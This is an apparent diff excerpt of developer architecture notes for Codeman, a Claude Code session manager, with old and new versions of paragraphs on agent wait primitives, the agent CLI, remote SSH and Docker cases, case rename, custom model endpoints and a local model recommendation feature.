**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY, and never for an adopted session (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, **default ON since 1.50.0**, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi or copilot): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). ⚠️ An ABSENT key means ON on both sides (server `!== false`, the page's switch `!== false`, or a Save writes the old default back); only an explicit false is off, and turning it off still sweeps nothing (`codeman skill uninstall --case <name>` removes copies). ⚠️ Existing installs that stored off are switched on once at the first 1.50.0 start (every Save up to 1.49.0 wrote `false`); turning it off afterwards sticks. That is `migrateAgentSkillDefault()` (`web/agent-skill-default-migration.ts`, from `WebServer.start()` before the first settings read and before listen, skipped in test mode, through `mutateSettingsFile()` only): it stores `true`, never deletes the key (the page's merge keeps a device's own `false` for a key the server lacks, and the next Save would write it back; the page also drops its copy when the server has no key), and its "done" marker is its own file, `agent-skill-default-migrated.json` in the data dir, never a settings key (so no Save sends or drops it, the `.strict()` schema never sees it, and a config-backup restore leaves it alone). ⚠️ Every managed copy ignores itself in git: a `.gitignore` of `*` written FIRST with `wx` (never overwritten, never part of `readAgentSkillSource()`, so never in `skills/codeman/` or the plugin mirror), removed by uninstall only when it is the last file left; never touch the user's own ignore files for it. → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
**Agent CLI (`codeman agent …`, `src/cli-agent.ts`)**: the command-line client for the wait primitives and the session verbs, for agents the skill does not reach (pi, shell, no `jq`; `seedAgentSessionPreamble` covers every local session whose CLI takes the skill, `capabilities.agentSkillDir`; every pane still exports `CODEMAN_MUX`/`CODEMAN_SESSION_ID`/`CODEMAN_API_URL`). It is an HTTP CLIENT: inspection and guarded stage/submit use the ownership-checked `agent-session-routes.ts` module (experimental, behind `agentCoordinationEnabled`, SYNCED, default OFF: all three routes answer `403 FORBIDDEN` naming it while off, and the CLI shows that verbatim); the other verbs reuse existing routes, with no second transport (the plan's "Socket API" non-goal stands), every call carries `X-Codeman-Parent-Session`, only `spawn`'s quick-start carries `X-Codeman-Agent-Origin` (pinned in test/cli-agent.test.ts), while `spawn` without a case (cwd or `--working-dir`) is `POST /api/v1/sessions` plus `/interactive` or `/shell` without that header, so no agent-case marker, and refuses (exit 4, before any request) an empty `--working-dir` and a bare spawn from a HOME cwd, since it always sends an explicit `workingDir` and the server's no-`workingDir` hooks skip cannot apply (test/cli-agent-project-spawn.test.ts), auth (`src/codeman-credentials.ts`, shared with `codeman attach` and the TUI) from `CODEMAN_PASSWORD` or the data dir's `.env` (the same reader `codeman attach` uses — `readCodemanEnvFile`). Verbs return exit codes (`0` ok / `1` error / `2` timeout / `3` exited / `4` refused) instead of calling `process.exit`, so `test/cli-agent.test.ts` drives every verb against a recording fake transport plus the real `httpRequest` against a local server. ⚠️ Three guards live in code, not prose, and the tests pin them: refuse without `CODEMAN_MUX=1`+`CODEMAN_API_URL` (never guess a URL); `send` transmits printable text + `\r` only (`inputRefusal`: any byte < 0x20 or DEL refuses BEFORE the transport — opencode's `Ctrl+C` is `app_exit`), ESC exists solely as `interrupt` with no `\r`; `rm` fails closed (`deleteRefusal`: empty id, self shorter than 8, prefix match in EITHER direction, re-checked on the resolved id). ⚠️ The routes accept FULL ids only — an 8-char prefix is a 404 (measured live) — while `ls` prints prefixes, so `resolveSessionId` maps a short id through `GET /api/v1/sessions` and refuses an ambiguous one. It also refuses any id under 8 characters (exit 4, on every verb, before any request), the same floor as the server's `PARENT_SESSION_ID_MIN_PREFIX`, so `rm 9` can never pick an arbitrary session. ⚠️ A 400 for `--until stop` on a hook-less mode is passed through verbatim, never papered over: the marker path is the answer there. `spawn` on a readiness timeout exits 2 and LEAVES the session for inspection (the skill's `spawn_worker` deletes it; the CLI's caller is often a human); its stdout is the id ALONE (prose on stderr) so `SID=$(…)` works. ⚠️ Two server answers that look like success and are not: `delivered:false` without `duplicate` (the bytes went into a dead pane — the field exists so a client says "restart" instead of "wait longer") and `wait.ended:true, signal:null` (the worker died during a `stop`/`idle` wait: the registry satisfies only waiters that listed `exit`, then cancels the rest) — both exit 3, checked BEFORE the happy paths in `waitExitCode`. → README "`codeman agent`", `docs/api-reference.md`
@@ -169,12 +170,14 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Cron (`CronJob`s)**: saved, named jobs on a recurring schedule (`once`/`interval`/`daily`/`weekly`) with per-job run history. ⚠️ **Distinct from the legacy `ScheduledRun`** (`/api/scheduled`, a run-now duration-bounded loop); the two never interact and keep separate `Scheduled*` / `Cron*` names. `CronService` **reuses the existing session layer** rather than rebuilding tmux logic. Next-run math is pure and unit-tested in `cron-time.ts` (server-local timezone). The schedule is advanced BEFORE launch so a slow launch cannot re-trigger. → [architecture-invariants#cron-jobs](docs/architecture-invariants.md#cron-jobs), `docs/cron-discovery.md`
**Remote sessions + remote SSH cases**: a case can point at a remote host. The agent runs in a durable remote `tmux -L codeman-remote`, fronted by a LOCAL tmux pane running `ssh`. Attached (`owned:false`) sessions **detach, never kill**; owned ones propagate `kill-session`. Auto-reconnect (`remoteAutoReconnect`, default ON) revives ONLY when `remoteTmuxSessionAlive()` proves the remote session alive. ⚠️ Classify that probe by EXIT STATUS (`classifyRemoteAliveExit`), never stdout. ⚠️ **Command-injection surface: every ssh command line must flow through `buildSshConnectionArgs()`**; never hand-build one. ⚠️ Remote file reads (`src/remote-files.ts`, attachment routes too) take browser paths only as `shellescape`d tokens, resolve symlinks fail-closed, cap on the REMOTE size, never copy to local disk, are bounded by `src/remote-ssh-limiter.ts`, and pick the host from the SESSION, never the path; no writes over ssh (the `PUT` guard must precede local path validation). ⚠️ Route remote cases through `POST /api/quick-start`, not `POST /api/sessions`. → [architecture-invariants#remote-sessions-over-ssh](docs/architecture-invariants.md#remote-sessions-over-ssh), [#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases), `docs/remote-sessions.md`
**Remote sessions + remote SSH cases**: a case can point at a remote host. The agent runs in a durable remote `tmux -L codeman-remote`, fronted by a LOCAL tmux pane running `ssh`. Attached (`owned:false`) sessions **detach, never kill**; owned ones propagate `kill-session`. Auto-reconnect (`remoteAutoReconnect`, default ON) revives ONLY when `remoteTmuxSessionAlive()` proves the remote session alive. ⚠️ Classify that probe by EXIT STATUS (`classifyRemoteAliveExit`), never stdout. ⚠️ **Command-injection surface: every ssh command line must flow through `buildSshConnectionArgs()`**; never hand-build one. ⚠️ Remote file reads (`src/remote-files.ts`, attachment routes too) take browser paths only as `shellescape`d tokens, resolve symlinks fail-closed, cap on the REMOTE size, never copy to local disk (the one exception: the Edit history store keeps the diffs read from a remote session's transcripts), are bounded by `src/remote-ssh-limiter.ts`, and pick the host from the SESSION, never the path; no writes over ssh (the `PUT` guard must precede local path validation). ⚠️ Route remote cases through `POST /api/quick-start`, not `POST /api/sessions`. → [architecture-invariants#remote-sessions-over-ssh](docs/architecture-invariants.md#remote-sessions-over-ssh), [#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases), `docs/remote-sessions.md`
**Wake-on-LAN (`remote-wake.ts`)**: optional `RemoteHost.wakeMac` (magic packet) or `RemoteHost.wakeCommand` (single executable, no shell, takes precedence) lets HTTP input, `POST /api/sessions/:id/wake` and the user's create/attach (`ensureHostAwake`) wake a sleeping host. ⚠️ Only an explicit user request may wake: never give the registry to the auto-reconnect watcher, `handleRemoteSessionDropped`, boot recovery or `cron-service.ts`, and `GET /api/sessions/:id/reachability` must never wake. ⚠️ Detection is a throttled bare TCP probe; never add `ServerAliveInterval`, and a `jumpHost`/`socksProxy`/`ProxyCommand` host is reachability-UNKNOWN (`isProbeable()`): never buffer, gate or banner on it. ⚠️ In multi-user mode a non-admin attach 403s BEFORE host lookup. ⚠️ WS keystrokes bypass the registry, so the banner (`host-wake-ui.js`) must not promise queued input. Waiting requests use the 40 s `REMOTE_WAKE_REQUEST_READY_TIMEOUT_MS`. → [architecture-invariants#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases)
**Docker cases**: a case can point at a **container** running any CLI mode inside it, a **LOCATION OVERLAY on cases, never a `SessionMode`**. One long-lived container **per case**, shared by its sessions: killing a session kills only its in-container tmux, **never** `docker stop` while siblings remain. The workspace is bind-mounted at the **same absolute path**. Credentials are **seeded**, never shared RW. **NEVER a create-time `-e` for secrets, NEVER `--privileged`, NEVER the docker socket.** A drifted config (label hash) REFUSES the launch. ⚠️ An **adopted** container (`DockerCase.owned === false`) is only `exec`ed into: never create, start, stop, restart, remove, `docker commit` or `docker pause` it; fail closed. Test `owned === false`, never truthiness. ⚠️ Apply `owned` AFTER `dockerConfigHash`. ⚠️ Run modes come from the CONTAINER (`availableModes`), and a failed probe is normal for an OWNED case. ⚠️ Root exec user drops the bypass flag via the registry's `overlays.docker.rootCommand`, never a branch. ⚠️ Adoption is admin-only in multi-user mode. ⚠️ Loopback prod needs `CODEMAN_DOCKER_BRIDGE_HOOKS=1` for in-container hooks. → [architecture-invariants#docker-cases](docs/architecture-invariants.md#docker-cases), `docs/docker-cases.md`
**Adopted tmux sessions** (`src/foreign-tmux.ts` pure, `foreign-tmux-discovery.ts`, `foreign-sessions.js`, `POST /api/sessions/adopt`, admin-only in multi-user mode): a tmux session a human started (local, in a container, over ssh) opens as a tab through a wrapper session on OUR socket, a LOCATION OVERLAY like remote and Docker, never a `SessionMode`. ⚠️ `session.remote` and `session.docker` are undefined on one (the connection is on `adopt.*`) and its `workingDir` is the neutral `/tmp`, so anything that treats `workingDir` as the session's workspace, or branches on remote or docker to mean "not here", must also test `session.isAdopted`. The file surfaces are the one standing exception (owner decision 2026-11-06, no privilege gain): the Files panel, File Viewer, `html-view` and absolute-path links still use this host's `/tmp` and paths, even on a container or ssh tab. Gating them for remote and Docker adoptions is the planned follow-up, so do not copy the exception to a new surface. ⚠️ `isAdopted` asks who launched the process, so it is never folded into `isExternalCliMode()`. ⚠️ `foreignTargetKey()` is the ONE identity of a target; a socket and a name collide across containers and hosts. ⚠️ Never set anything on the foreign server beyond our own `codeman-view-*`: no `window-size`, no key tables. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start (`startShell()`'s `clear\n` submitted a half-typed command, and `shell` is also the answer for vim or psql). ⚠️ Session names are someone else's text: they pass the allowlist at discovery, so a browser only ever sends an opaque id, and a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`) is refused there too, or the `has-session` guard passes and the join lands elsewhere. ⚠️ A stopped tmux server holds our stdout pipe open past its client, so the probe pings each server with stdout at `/dev/null` first and `runForeignProbe()` lets go of the pipe at the deadline; never give `list-panes` the real stdout unpinged. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, like a remote or docker launch, never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on this host. → [architecture-invariants#adopted-foreign-tmux-sessions](docs/architecture-invariants.md#adopted-foreign-tmux-sessions), `docs/api-reference.md`
**Docker Compose deployment** (`docker/`): Codeman runs in a container and spawns Docker cases as **SIBLING** containers via the host socket, never nested. `resolveDockerDaemonMountSource()` maps HOME bind sources into the daemon's namespace (`CODEMAN_DOCKER_HOST_HOME`); `CODEMAN_CASES_PATH` makes workspaces resolve to the same absolute path on both sides. ⚠️ `CODEMAN_CASES_PATH` must move every consumer: resolve it only via `config/cases-dir.ts`. ⚠️ `.dockerignore` matches whole paths: keep `**/.env` or `docker/.env` secrets ship in the image. ⚠️ Long-form binds create missing sources ROOT-OWNED: `Start-Codeman.sh` pre-creates them, and `docker/entrypoint.sh` (root, `cap_add: [CHOWN, DAC_OVERRIDE, KILL, SETGID, SETUID]` against `cap_drop: ALL`, `KILL` for tini; pinned by the test) fixes ownership then drops to `PUID:PGID` via `setpriv`, never re-owning foreign dirs. ⚠️ Append `/opt/codeman-cli` and `~/.local/bin` to `PATH`, never prepend. ⚠️ `server.Dockerfile`, the compose file and `.env.example` feed the self-updater's environment gate (`docs/docker-self-update.md`). → [architecture-invariants#docker-compose-deployment](docs/architecture-invariants.md#docker-compose-deployment), `docs/docker-compose.md`
**CLI registry** (`src/config/cli-registry/`): every run mode is a `CliEntry` (discovery, launch argv template, env handling, `capabilities`, and the `overlays` behind remote/docker pane commands). **No code outside `stock.ts` may branch on a CLI id**: use a capability field or a NAMED PROFILE (`profiles.ts`); `test/cli-registry-no-id-branching.test.ts` and `test/frontend-cli-no-id-branching.test.ts` enforce it. ⚠️ Config holds typed argv tokens, never shell text; literals are validated at LOAD time and a bad one rejects the whole entry. ⚠️ Keep `external`, `hooks` and `altScreen` independent; never derive one from another. ⚠️ Config regexes (`discovery.version.regex`, `capabilities.workDetect.workingLine`, `capabilities.workDetect.watchingLine`, `capabilities.workDetect.awaitingLine`, `capabilities.workDetect.blockedLine`, `capabilities.workDetect.composerFooterLine`, `capabilities.workDetect.composerPopupLine`, `capabilities.modelDetect.screenLine`) must compile through `compileVersionRegex()`. ⚠️ `privilegedParams[].param` names a LAUNCH PARAM, not the legacy `<Mode>Config` field (bridged only by `launch.legacyConfigAliases`); a wrong name silently clamps nothing. ⚠️ Resolve the registry AT CALL TIME, never in a module-level const. ⚠️ Remote claude/omp arms of `buildRemoteLaunchCommand` are not covered by the pane-command golden. `~/.codeman/clis.json` overrides entries. It is WRITTEN only by the opt-in CLI management routes (`cliManagementEnabled`, default OFF; `/api/clis`, `cli-registry-routes.ts`), and only through `mutateRegistryFile()` in `registry-writer.ts` (the one exception: a config-backup restore of `clis.json`, which then calls `reloadCliRegistry()`), which serializes mutations and refuses (409) a file that does not parse or has group/world permission bits rather than overwriting it. Importing the registry still writes nothing. → [architecture-invariants#cli-registry](docs/architecture-invariants.md#cli-registry), `docs/cli-registry.md`
@@ -183,12 +186,16 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**DeepSeek web UI** (`POST`/`GET`/`DELETE /api/deepseek/web`, `deepseek-web-server.ts`): the Run menu's "DeepSeek web UI..." entry supervises ONE background `dsh web` child process, deliberately **NOT a shell session**. ⚠️ Every piece is load-bearing: exactly one server (a second click REUSES it), restarted when the browser authority changes (`--trusted-host`, last asker wins), killed on shutdown via `stopDeepSeekWeb()` (the detached child would otherwise outlive Codeman and hold its port), and failures returned to the caller. ⚠️ Never hardcode the port: search from 3080 across 40, detect free ports by BINDING, then wait for the server to really answer. ⚠️ Both `POST` and `DELETE` must stay behind `canUsernameRunPrivilegedCommands` (booting a profile runs its plugin code; the server is shared). → [architecture-invariants#deepseek-web-ui](docs/architecture-invariants.md#deepseek-web-ui)
**Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, and both are restored if the registry write fails.
**Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, so a failed or refused registry write puts `settings.json` back and leaves the registry as it was. ⚠️ Every write to `linked-cases.json` (link, unlink, rename, and a create or clone into a custom folder) goes through `mutateLinkedCases()` (`src/web/linked-cases-writer.ts`: serialized, temp file + rename, and a file that does not parse is refused, never read as `{}`; the one direct writer is config-backup restore, `restoreConfigBackup()`, which must work on such a file), and a check that must still hold when the entry is written (the name is free; for a rename, the old entry still names the folder) runs INSIDE its callback: two clones that claimed one name used to both pass a re-read made outside it and both answer success. Pinned by `test/linked-cases-writer.test.ts`, and for a rename by `test/routes/case-rename-routes.test.ts`.
**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key). ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. ⚠️ Every write of `custom-model-hosts.json` goes through `mutateCustomModelHosts()` (`src/custom-model-hosts-writer.ts`: one at a time, temp file + rename, the route's check inside the callback, and a file that does not parse is refused with 409, never read as `[]` and replaced); the one direct writer is config-backup restore. The endpoint id `local-ollama` is reserved for the local model install (see Local model install). Pinned by `test/custom-model-hosts-writer.test.ts`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
⚠️ **llama-swap endpoints** (one model at a time): the apply routes check `GET /running` and return `requiresConfirmation` before evicting a model another live session uses; `confirmedSwap` and `confirmedContext` are SEPARATE flags and must stay so. Claude alone gets a context floor (`CLAUDE_MIN_SAFE_CONTEXT_TOKENS`); context is parsed from `/running`'s `cmd`, never trusted from `/props`. The floor also divides that context by the model's parallel slot count (`modelSlotCounts`: `--parallel`/`-np` from `cmd`, else `/props` `total_slots`; `perSlotContext()`), and `/props` only ever RAISES that warning: it supplies the context only when `cmd` states none and the count only when `cmd` has no `--parallel`, never a larger pool. `/props` is probed once per launch command (it refreshes llama-swap's last-use time, so a `ttl` would never expire), and a `/props` context beside an explicit `--parallel N` is already per slot, so it is not divided again. Backend log lines come from llama-swap's `/api/events` `upstream` source, never `/logs`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
**Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ The READ side stays read-only: the probe, the catalogue and `recommend()` download nothing, install nothing and write nothing; everything that changes the machine is the install below, behind an explicit request. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`, so an id can never name another registry host). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ A model's need is its PEAK (`bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`, measured on a Mac for one row and marked `estimated` on the others), and every row names its `runner` (`mlx` or `llamacpp`, the build a Mac really pulls) and carries figures of its OWN: computed from its model's config.json by that runner's rule (catalogue header, MEMORY), never borrowed from another row; `test/local-model-catalog.test.ts` recomputes them, and the `llamacpp` rows assume the runtime's `OLLAMA_KV_CACHE_TYPE=q8_0`, `LLAMA_ARG_CACHE_RAM=1024` and `LLAMA_ARG_CTX_CHECKPOINTS=8` (`runtimeEnv()`) and count what llama-server keeps beside the cache (8 context checkpoints of the recurrent or sliding-window state, and for a GGUF with a prediction layer one rollback copy of the recurrent state per drafted token and that layer's cache in f16), so change the two together. The need is judged against a budget that is `estimated` until the runtime ran and `measured` from then on (`RecommendOptions.measuredTotalBytes`). ⚠️ Ranking, lexicographic: tested on a Mac like this first, then speed `ok` before `unknown` before `slow`, then model rank, harness rank, larger context; the fit grade decides whether a row is listed and what it says, it does NOT sort, so a model is offered at the largest context it fits at. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested`, and the tag "Tested on a Mac like this" only on a row whose model has a `tested` entry for exactly this chip, memory size and harness. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS`, `LOCAL_MODEL_TAG_LABELS` or `LOCAL_MODEL_INSTALL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Window rules: `src/web/CLAUDE.md` (Run a model on this Mac). → `docs/api-reference.md` (Local model), `docs/versioning-policy.md`
